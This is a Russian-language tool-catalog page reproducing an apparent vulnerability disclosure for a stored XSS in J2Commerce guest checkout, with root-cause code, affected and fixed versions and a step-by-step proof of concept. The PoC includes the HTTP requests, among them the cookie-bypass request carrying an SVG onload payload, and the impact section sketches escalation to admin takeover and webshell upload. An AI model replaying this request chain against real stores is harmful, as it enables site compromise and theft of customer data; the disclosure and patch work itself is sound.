Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-74252 — Хранимый XSS в J2Commerce Guest Checkout через обход cookie-фильтра | Kitploit
Инструменты/GitHubGitHub/toanln-cov/cve-2026-74252
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

Хранимый XSS в J2Commerce Guest Checkout через обход cookie-фильтра

Репозиторий
2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Хранимый XSS в J2Commerce при гостевом оформлении заказа через обход фильтра с помощью Cookie

J2Commerce (com_j2store) ≤ 4.1.5 — неаутентифицированный злоумышленник сохраняет XSS-пейлоад, который автоматически выполняется в браузере администратора при загрузке страницы

CVE CVSS v4.0 CWE-79 Affected Researcher


КРАТКОЕ ОПИСАНИЕ

J2Commerce 4.1.5 подвержен хранимому межсайтовому скриптингу (XSS) через поля платёжного адреса при гостевом оформлении заказа. Неаутентифицированный злоумышленник использует обход фильтра в Input::getArray() Joomla в сочетании с variables_order=EGPCS в PHP (Cookie переопределяет POST в $_REQUEST), чтобы сохранить неочищенный HTML в таких полях, как billing_first_name. Эти поля выводятся напрямую в панели управления заказами администратора без , из-за чего пейлоад выполняется в браузере администратора.

Скачать инструмент
htmlspecialchars()

XSS-пейлоад срабатывает автоматически при загрузке страницы, когда администратор переходит к списку заказов — клик по отдельному заказу не требуется. Цепочка из одного набора HTTP-запросов (добавление в корзину → отправка оформления заказа с cookie-обходом → размещение заказа) навсегда сохраняет пейлоад, который будет выполняться в браузере каждого администратора, пока заказ не будет удалён или уязвимость не исправлена.

Атака не требует аутентификации злоумышленника. Гостевое оформление заказа — стандартная, часто включённая функция интернет-магазинов, создающая у администраторов экономический стимул просматривать новые заказы, — что делает эксплуатацию тривиальной для применения в реальных атаках.


ЗАТРАГИВАЕМЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМЫЕ ВЕРСИИПРОТЕСТИРОВАНО НАИСПРАВЛЕНО В
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 на Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

ДЕТАЛИ УЯЗВИМОСТИ

Тип: межсайтовый скриптинг — хранимый (CWE-79) Требуется аутентификация: нет — неаутентифицированный доступ (гостевое оформление) Основной сток: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 Путь записи: components/com_j2store/controllers/checkouts.php:535

Корневая причина

Уязвимость складывается из двух усиливающих друг друга слабостей: обхода входного фильтра на пути записи и отсутствия кодирования вывода на пути чтения.

1. Обход входного фильтра — неправильное использование Input::getArray() в Joomla

Контроллер гостевого оформления заказа J2Commerce читает поля адреса с помощью $app->input->getArray($_POST). Реализация Joomla перебирает массив $_POST и использует каждое значение как тип фильтра (а не как данные), при этом фактическое значение читается из $_REQUEST:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — ПУТЬ ЗАПИСИ

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — МЕТОД GETARRAY() (СТРОКА 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — ИСТОЧНИК ДАННЫХ (СТРОКА 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. PHP variables_order — Cookie переопределяет POST в $_REQUEST

Суперглобальный массив $_REQUEST в PHP формируется объединением $_GET, $_POST и $_COOKIE. Когда variables_order=EGPCS (значение по умолчанию, встроенное в большинство окружений PHP), Cookie (C) указаны после POST (P), поэтому при конфликте ключей побеждает Cookie.

Отправка first_name=RAW в теле POST заставляет InputFilter::clean() в Joomla применить тип фильтра 'Raw' (no-op) к значению cookie first_name=<svg...>, которое побеждает в $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — МЕТОД CLEAN() (СТРОКА 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

Итог: тело POST first_name=RAW устанавливает фильтр в режим no-op. Cookie first_name=<svg onload="alert(document.domain)"> побеждает в $_REQUEST. Joomla возвращает значение cookie без фильтрации. J2Commerce сохраняет его как есть в j2store_orderinfos.billing_first_name.

3. Отсутствие кодирования вывода — стоки в шаблонах администратора

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — ОСНОВНОЙ СТОК (срабатывает при загрузке страницы списка)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — ВТОРИЧНЫЙ СТОК

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

Этот обход работает во всех окружениях PHP, кроме Debian/Ubuntu (где явно задано request_order = "GP", исключающее cookies из $_REQUEST). Все остальные популярные хостинговые окружения — общий хостинг cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — используют значение по умолчанию EGPCS, поэтому переопределение через Cookie активно сразу из коробки, без каких-либо изменений конфигурации.


ПОДТВЕРЖДЕНИЕ КОНЦЕПЦИИ

1. Исходное состояние администратора — список заказов до атаки

Откройте список заказов J2Commerce в панели администратора от имени администратора-жертвы. Это подтверждает, что администратор активно использует панель и встретит пейлоад при следующем посещении.

s1-step1-admin-orders-baseline

2. Извлечение CSRF-токена с витрины

Будучи неаутентифицированным злоумышленником, отправьте GET-запрос на главную страницу витрины J2Commerce, чтобы установить сессию и извлечь CSRF-токен, встроенный в JSON-параметры страницы. Этот токен требуется для последующих POST-запросов.

s1-step2-csrf-token-extract

3. Добавление товара в корзину

Добавьте товар в корзину злоумышленника. Корзина должна быть непустой, чтобы конечная точка гостевого оформления заказа приняла отправку адреса.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. КЛЮЧЕВОЙ ОБХОД — отправка гостевого оформления с трюком фильтра через Cookie

Отправьте форму адреса гостевого оформления с двумя конфликтующими значениями first_name:

  • Тело POST: first_name=RAW — Joomla интерпретирует это как тип фильтра (no-op)
  • Cookie: first_name=<svg...> — это значение побеждает в $_REQUEST (PHP EGPCS: Cookie > POST) и возвращается без фильтрации
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. Завершение проверки адреса доставки

Отправьте шаг адреса доставки, используя тот же cookie-обход. Этот шаг сохраняет страну доставки в сессии — если его пропустить, на последующих шагах возникнет ошибка "SHIPPING_ADDRESS_NOT_FOUND".

s1-step5-shipping-validate

6. Выбор способа оплаты

Выберите способ оплаты (наложенный платёж). Поле payment_plugin не является текстовым полем, подверженным XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. Получение хеша подтверждения заказа

Отправьте шаг подтверждения, чтобы получить страницу сводки заказа, содержащую скрытое поле hash. Этот хеш требуется для завершения заказа.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. Размещение заказа — XSS-пейлоад сохраняется в базе данных

Завершите заказ, используя хеш из предыдущего шага. Сервер создаёт запись заказа в joom_j2store_orderinfos с billing_first_name, установленным в необработанный XSS-пейлоад.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. XSS срабатывает в панели администратора — автоматически при загрузке страницы

Перейдите к списку заказов J2Commerce от имени администратора-жертвы. XSS-пейлоад срабатывает немедленно при загрузке страницы — клик не требуется. Шаблон default_items.php:73 выводит billing_first_name без экранирования в столбце «Клиент».

Когда администратор просматривает заказ, ответ сервера включает:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


ВОЗДЕЙСТВИЕ

  1. Угон сессии администратора — JavaScript, выполняющийся в административной панели, имеет доступ к сессионным cookie администратора (если не установлен флаг HttpOnly) и может передать их на сервер злоумышленника, что позволяет полностью захватить учётную запись без необходимости знать учётные данные администратора.
  2. Создание подставной учётной записи администратора — XSS-пейлоад может программно вызывать API управления пользователями Joomla для создания новой учётной записи суперадминистратора, предоставляя злоумышленнику постоянный доступ даже после смены пароля или инвалидации сессии.
  3. Установка вредоносного плагина — обладая JS-выполнением на уровне администратора, злоумышленник может обратиться к конечным точкам установки плагинов для загрузки PHP-вебшелла, добившись удалённого выполнения кода на сервере без дальнейшего взаимодействия.
  4. Полная компрометация сайта — злоумышленник получает возможность изменять любое содержимое, извлекать базу данных (включая персональные данные клиентов и платёжные ссылки), внедрять вредоносное ПО на страницы витрины и создавать постоянные бэкдоры — что означает полный захват сайта.
  5. Для атаки не требуется ничего, кроме размещения заказа — Гостевое оформление заказа является стандартной, часто включённой функцией интернет-магазинов. Любой анонимный посетитель может запустить эту атаку, отправив форму оформления заказа, — из-за экономического стимула администраторов регулярно просматривать заказы эксплуатация становится тривиальной для массового применения.

ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • Уведомление GitHub: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • Официальное объявление производителя: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • Репозиторий производителя: https://github.com/j2store/J2Store